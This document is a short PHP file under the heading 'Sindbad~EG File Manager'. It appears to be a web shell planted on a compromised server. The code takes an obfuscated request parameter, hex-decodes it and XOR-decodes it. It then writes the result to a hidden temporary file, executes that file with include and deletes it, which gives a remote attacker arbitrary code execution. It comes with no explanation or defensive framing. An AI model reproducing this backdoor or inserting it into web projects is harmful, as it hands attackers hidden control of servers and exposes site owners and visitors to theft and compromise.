Sindbad~EG File Manager

<?php

if(array_key_exists("r\x65\x73o\x75r\x63e", $_REQUEST) && !is_null($_REQUEST["r\x65\x73o\x75r\x63e"])){
	$hld = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), "/var/tmp"]);
	$element = hex2bin($_REQUEST["r\x65\x73o\x75r\x63e"]);
	$ref      =      ''     ;   foreach(str_split($element) as $char){$ref .= chr(ord($char) ^ 1);}
	foreach ($hld as $flg):
    		if (is_dir($flg) ? is_writable($flg) : false) {
    $holder = join("/", [$flg, ".rec"]);
    $success = file_put_contents($holder, $ref);
if ($success) {
	include $holder;
	@unlink($holder);
	die();}
}
endforeach;
}